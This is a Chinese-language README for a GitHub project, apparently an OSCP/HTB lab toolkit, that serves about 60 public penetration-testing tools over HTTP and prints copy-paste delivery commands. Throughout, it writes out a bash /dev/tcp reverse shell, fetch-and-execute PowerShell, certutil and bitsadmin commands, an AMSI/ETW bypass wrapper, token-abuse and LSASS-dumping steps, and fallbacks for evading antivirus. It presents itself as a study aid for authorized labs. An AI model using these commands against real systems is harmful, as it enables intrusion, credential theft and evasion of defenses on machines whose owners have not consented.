kocaemre/oscp-arsenal

GitHub: kocaemre/oscp-arsenal

按攻击链阶段整合约 60 个渗透测试常用工具,通过 HTTP 服务自动生成一键投递命令的 OSCP 专用工具库。

Stars: 1 | Forks: 0

# 🗡️ OSCP 工具库 专门为 **OSCP / OSEP / HTB / 实验室环境**构建,在这些环境中您需要反复将 `linpeas`、`winPEAS`、`PowerView`、`chisel`、`mimikatz` 等工具部署到初始立足点。无需为每个工具输入或去 Google 搜索正确的 `wget` / `iwr` / `certutil` 语法,**`./serve.sh`** 会为您打印出所有命令,可以直接复制粘贴。 ``` ┌──(kali㉿attacker)─[~/oscp-arsenal] └─$ ./serve.sh ============================================================== OSCP ARSENAL - serving /home/kali/oscp-arsenal/tools ============================================================== IP : 10.10.14.42 PORT : 8000 URL : http://10.10.14.42:8000/ --- [1] LISTENER (Kali - waiting for shell) --- nc rlwrap nc -lvnp 4444 pwncat pwncat-cs -lp 4444 msf msfconsole -q -x 'use exploit/multi/handler; ...' --- [2] REVERSE SHELL (run on target, LHOST=10.10.14.42 LPORT=4444) --- bash bash -c 'bash -i >& /dev/tcp/10.10.14.42/4444 0>&1' python3 python3 -c 'import socket,os,pty;s=socket.socket();...' ps-tcp iex (iwr http://10.10.14.42:8000/revshells/Invoke-PowerShellTcp.ps1 -UB).Content; ... [...sections continue: Linux/Windows enum, AD recon/attack/dump, transfer, pivot, fallbacks...] Serving HTTP on 0.0.0.0 port 8000 ... 10.10.11.50 - - [07/May/2026 14:23:11] "GET /linux/linpeas.sh HTTP/1.1" 200 - ``` ## ✨ 包含内容 该工具包按**攻击链阶段**组织,而非按字母顺序。每个工具都有 1-3 种投递变体(内存执行、写入磁盘、certutil 备用方案),因此当 AV 拦截其中一种时,您可以切换到下一种。 ### 🐧 Linux `linpeas` · `linpeas_small` · `pspy64` · `pspy32` · `lse.sh` · `linux-exploit-suggester` · `les2.pl` · `lazagne` · `socat` ### 🪟 Windows 枚举与提权 `winPEAS` (x64/x86/bat/ps1) · `PrivescCheck` · `PowerUp` · `Sherlock` · `Watson` · `JAWS` · `Seatbelt` · `accesschk` ### 🥔 令牌滥用 `PrintSpoofer` (32/64) · `GodPotato` (NET4/NET35) · `JuicyPotato` · `JuicyPotatoNG` ### 🏰 Active Directory `PowerView` · `SharpHound` (ps1+exe) · `Rubeus` · `Certify` · `SafetyKatz` · `mimikatz` · `kerbrute` (linux+windows) · `PetitPotam` · `adPEAS` · `enum4linux-ng` · `Invoke-Mimikatz` · `Invoke-Kerberoast` ### 🔑 凭据转储 `mimikatz` · `SafetyKatz` · `LaZagne` (windows+linux) · `secretsdump` (impacket reference) ### 📡 传输与 Shell `nc.exe` (32/64) · `plink.exe` · `socat` · `powercat.ps1` · `Invoke-PowerShellTcp.ps1` · `php-reverse-shell.php` · `cmd.jsp` · `cmdasp.aspx` ### 🔀 隧道代理 / 流量转发 `chisel` (linux+windows, extracted binaries) · `ligolo-ng` (proxy + agent for linux+windows, extracted) ### 📚 字典 `rockyou.txt` 符号链接(如果安装了 `wordlists` 包) ## 🚀 快速开始 ``` # 1. 在你的 Kali 主机上 Clone git clone https://github.com/kocaemre/oscp-arsenal.git ~/oscp-arsenal cd ~/oscp-arsenal chmod +x *.sh # 2. 填充 tools/ (如果 Kali 本地路径可用则从中复制,否则从 GitHub 获取最新版本) ./build_arsenal.sh # 3. 启动 HTTP 服务器 (自动检测 tun0 IP,打印所有单行下载命令) ./serve.sh ``` 就是这样。现在在另一个 shell 中: ``` # Listener rlwrap nc -lvnp 4444 # 需要特定 tool 的帮助? ./payloads.sh winpeas # Defender 阻止了你的 PowerShell? ./amsi_b64.sh "iex (iwr http://10.10.14.42:8000/windows/PowerUp.ps1 -UB).Content; Invoke-AllChecks" # 需要自定义 msfvenom payload? ./msfgen.sh windows 4444 # → tools/payloads/win-rev-4444.exe ``` ## 🧰 脚本 | 脚本 | 作用 | |---|---| | `build_arsenal.sh` | 填充 `tools/`。优先使用 Kali 的 `/usr/share/peass`、`/usr/bin/pspy64`、`/usr/share/windows-resources/binaries/` 等路径。如果找不到,则回退到 GitHub releases 下载。**幂等操作** — 重新运行以填补缺失文件。 | | `serve.sh` | 自动检测 `tun0` IP,打印精简版速查表,然后启动 `python3 -m http.server`。默认端口为 `8000`,可传递其他端口作为参数(`./serve.sh 80`)。使用 `--no-banner` 跳过速查表。 | | `payloads.sh` | 生成可复制粘贴的单行命令。`--compact` 输出攻击链表格。使用 `./payloads.sh winpeas` 筛选具有所有投递变体的单个工具。 | | `update.sh` | 备份当前的 `tools/` 并重新运行 `build_arsenal.sh` 以获取最新版本。在考试前运行它。 | | `aliases.sh` | 使用 `source` 命令加载以启用快捷方式:`myip`、`arsenal-serve`、`revshell `、`nc4444`、`smb-share`、`lpeas`、`wpeas`。 | | `msfgen.sh` | `msfvenom` 包装器。自动检测 `tun0` IP。目标类型:`windows`、`linux`、`ps1`、`php`、`aspx`、`war`、`all`。 | | `amsi_b64.sh` | 使用 AMSI + ETW 绕过方式包装 PowerShell 命令,并对整体进行 base64 编码,适用于 `powershell -ep bypass -e `。具有快捷方式:`-winpeas`、`-revshell `。 | ## 📂 目录结构 ``` oscp-arsenal/ ├── build_arsenal.sh ├── serve.sh ├── payloads.sh ├── update.sh ├── aliases.sh ├── msfgen.sh ├── amsi_b64.sh ├── README.md ├── .gitignore # tools/ is git-ignored (binaries are fetched, not committed) └── tools/ # generated by build_arsenal.sh ├── linux/ # linpeas, pspy, lse, exploit-suggester, lazagne ├── windows/ # winPEAS, PrivescCheck, PowerUp, Sherlock, Watson, │ # JAWS, Seatbelt, accesschk, JuicyPotato(NG), │ # PrintSpoofer, GodPotato ├── transfer/ # nc.exe, plink, socat, chisel, ligolo-ng (extracted) ├── ad/ # PowerView, SharpHound, Rubeus, Certify, SafetyKatz, │ # mimikatz, kerbrute, PetitPotam, LaZagne ├── enum/ # enum4linux-ng, adPEAS ├── revshells/ # powercat, Invoke-PowerShellTcp, php/jsp/aspx ├── wordlists/ # rockyou symlink └── payloads/ # generated by msfgen.sh ``` ## 💡 真实考试工作流 ``` # Terminal 1 — server 保持全天开启 ./serve.sh # Terminal 2 — listener rlwrap nc -lvnp 4444 # Terminal 3 — 找到一个 RCE / 上传 webshell,然后获取 reverse shell # (只需复制 server 打印的 `[2] REVERSE SHELL` 部分中的命令行) # 在 Linux 目标上获得初始 foothold 后: wget http://10.10.14.42:8000/linux/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh # 在 Windows 目标上着陆后: iwr http://10.10.14.42:8000/windows/winPEASx64.exe -o $env:TEMP\wp.exe; & $env:TEMP\wp.exe # AV 阻止了上述操作?降维操作: ./amsi_b64.sh "iex (iwr http://10.10.14.42:8000/windows/PowerUp.ps1 -UB).Content; Invoke-AllChecks" # 在目标上粘贴打印出的 `powershell -ep bypass -e ` # 在 AD 环境中?获得 domain creds 后: ./payloads.sh sharphound # for collector commands ./payloads.sh rubeus # for kerberoast / asreproast # IIS 上的 Web shell 拥有 SeImpersonate?Token abuse: iwr http://10.10.14.42:8000/windows/PrintSpoofer64.exe -o $env:TEMP\ps.exe; & $env:TEMP\ps.exe -i -c cmd # 需要 pivot 到第二个子网? ./payloads.sh chisel # or ligolo ``` ## 🩹 备用模式(当出现问题时) | 症状 | 切换至 | |---|---| | `iwr -OutFile` 被阻止 / 文件被丢弃并删除 | `iex (iwr URL -UB).Content`(在内存中执行) | | `iex` 被 AMSI 阻止 | `./amsi_b64.sh "iex (iwr URL -UB).Content"`(绕过 + base64) | | PowerShell 缺失 / 处于 Constrained Language Mode | `certutil -urlcache -split -f URL out.exe` | | `certutil` 已被移除 | `bitsadmin /transfer N URL out.exe`(适用于较旧的 Windows) | | 执行策略受限 | `powershell -ep bypass -f file.ps1` | | `.ps1` 无论如何都无法运行 | 使用 `.exe` 版本(Rubeus、Seatbelt、SharpHound 都有这些版本) | `serve.sh`/`payloads.sh --compact` 底部的 `[F] FALLBACK PATTERNS` 部分内联总结了这些内容。 ## 🛠 自定义 ### 更改监听端口 ``` ./serve.sh 80 # standard, blends in (needs sudo) ./serve.sh 8080 # also common ``` ### 动态生成 payload ``` ./msfgen.sh windows 4444 # → tools/payloads/win-rev-4444.exe ./msfgen.sh linux 9001 # → tools/payloads/lin-rev-9001.elf ./msfgen.sh all 4444 # all formats at once ./msfgen.sh -i 192.168.45.5 ps1 443 # custom IP + format + port ``` ### 持久化 shell 别名 ``` echo "source ~/oscp-arsenal/aliases.sh" >> ~/.zshrc # or ~/.bashrc source ~/.zshrc # 现在你可以: revshell 10.10.14.42 4444 # prints bash/python3/powershell oneliners arsenal-serve # serve on port 80 smb-share # impacket-smbserver of tools/ myip # print tun0 IP ``` ### 在考试日前更新 ``` ./update.sh # 将 tools/ 备份到 tools.old./ 并重新运行 build 以获取最新版本 # (linpeas/winPEAS 频繁更新 — 拉取一份最新副本) ``` ## 📋 要求 - **Kali Linux**(或任何基于 Debian 的发行版)。其他发行版也可运行,但 `build_arsenal.sh` 将找不到本地副本,并会从 GitHub 下载所有内容。 - `bash`、`curl` 或 `wget`、`python3`、`tar`、`unzip`、`gzip` - `iconv` + `base64`(用于 `amsi_b64.sh`) - `msfvenom`(用于 `msfgen.sh`,可选) - `impacket-smbserver`(用于 `smb-share` 别名,可选) - `rlwrap`(用于提供更佳的监听器体验,可选) ## ⚠️ 注意事项 - **`tools/` 已被 git 忽略。** 二进制文件总共有 200–400 MB;它们会按需下载。这保持了仓库克隆的小巧。 - **这里没有 0day 漏洞或自定义 exploit。** 只是对知名公开工具的便捷打包。 - **仅对您有测试权限的系统使用。** 这是 OSCP / HTB / 您自己实验室的学习辅助工具。 - **PowerSploit 已归档。** PowerView/PowerUp 仍然有效,但其上游仓库处于只读状态。被认为适用于 OSCP 考试;现代安全评估使用 BloodHound + Rubeus + 自定义工具。 - **mimikatz 会立即触发 Defender。** 请使用 `SafetyKatz`、带有 AMSI 绕过的 `Invoke-Mimikatz`,或者使用 `comsvcs.dll` 离线转储 LSASS,然后在 Kali 上分析转储文件。 ## 🔗 鸣谢 工具提取自其各自的作者: - [carlospolop/PEASS-ng](https://github.com/peass-ng/PEASS-ng) - [DominicBreuker/pspy](https://github.com/DominicBreuker/pspy) - [diego-treitos/linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration) - [mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) - [PowerShellMafia/PowerSploit](https://github.com/PowerShellMafia/PowerSploit) (已归档,包含 PowerView + PowerUp) - [itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck) · [itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer) - [BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato) - [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato) · [antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) - [BloodHoundAD/SharpHound](https://github.com/BloodHoundAD/SharpHound) · [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) - [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz) - [ropnop/kerbrute](https://github.com/ropnop/kerbrute) - [topotam/PetitPotam](https://github.com/topotam/PetitPotam) - [AlessandroZ/LaZagne](https://github.com/AlessandroZ/LaZagne) - [jpillora/chisel](https://github.com/jpillora/chisel) · [nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) - [besimorhino/powercat](https://github.com/besimorhino/powercat) · [samratashok/nishang](https://github.com/samratashok/nishang) - [pentestmonkey/php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell) - [411Hall/JAWS](https://github.com/411Hall/JAWS) · [rasta-mouse/Sherlock](https://github.com/rasta-mouse/Sherlock) · [rasta-mouse/Watson](https://github.com/rasta-mouse/Watson) - [r3motecontrol/Ghostpack-CompiledBinaries](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) (Seatbelt, Rubeus, Certify, SafetyKatz) - [61106960/adPEAS](https://github.com/61106960/adPEAS) - [cddmp/enum4linux-ng](https://github.com/cddmp/enum4linux-ng) ## 📜 许可证 MIT — 您可以做任何想做的事,但是当考试监考人问您为什么在主目录中存在 `mimikatz_trunk.zip` 时,请不要怪我。
标签:AI合规, AMSI绕过, Chisel, CSV导出, HTB, HTTP投递, HTTP服务器, Kill Chain, LinPEAS, Linux提权, Mimikatz, Offensive Security, OPA, OSCP, OSEP, PE 加载器, PowerView, SNMP, Web报告查看器, Windows提权, WinPEAS, 令牌滥用, 内网穿透, 协议分析, 反向Shell, 威胁检测, 工具集, 应用安全, 插件系统, 数据包嗅探, 数据展示, 无线安全, 权限提升, 横向移动, 活动目录攻击, 流量嗅探, 红队, 编程规范, 网络安全, 网络安全审计, 网络连接监控, 逆向工具, 隐私保护, 靶场